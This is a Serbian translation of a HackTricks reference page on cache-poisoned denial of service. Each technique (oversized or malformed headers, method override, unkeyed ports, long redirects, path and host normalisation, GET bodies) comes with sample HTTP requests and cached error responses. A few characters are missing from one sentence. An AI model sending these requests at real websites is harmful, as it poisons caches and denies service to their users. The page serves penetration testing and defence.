Cache Poisoning to DoS

Support HackTricks

Na ovoj stranici možete pronaći različite varijacije koje možete isprobati da naterate web server da odgovori greškama na zahteve koji su validni za cache servere

  • HTTP Header Oversize (HHO)

Pošaljite zahtev sa veličinom headera većom od one koju podržava web server, ali manjom od one koju podržava cache server. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Unexpected values

Pošaljite zaglavlje koje sadrži neke štetne meta karaktere kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Loše konfigurisana zaglavlja mogu biti samo \: kao zaglavlje.

Ovo takođe može raditi ako se pošalju neočekivane vrednosti, poput neočekivanog Content-Type:

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Unkeyed header

Neki veb sajtovi će vratiti kod greške ako vide neke specifične zaglavlja u zahtevu kao što je sa X-Amz-Website-Location-Redirect: someThing zaglavljem:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Ako server podržava promenu HTTP metode pomoću zaglavlja kao što su X-HTTP-Method-Override, X-HTTP-Method ili X-Method-Override. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Nepovezani Port

Ako je port u Host header-u odražen u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na neiskorišćen port:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekeširanog x ključa dobiti odgovor sa greškom:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalizacija velikih i malih slova u host header-u

Host header bi trebao biti neosetljiv na velika i mala slova, ali neka web stranice očekuju da bude napisan malim slovima, vraćajući grešku ako nije:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalizacija putanje

Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, keš server će URLdecode putanju i sačuvati odgovor za URLdecoded putanju:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Neki keš serveri, kao što su Cloudflare, ili veb serveri, zaustavljaju GET zahteve sa telom, tako da se ovo može iskoristiti za keširanje nevažećeg odgovora:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

References

Podrška HackTricks

Last updated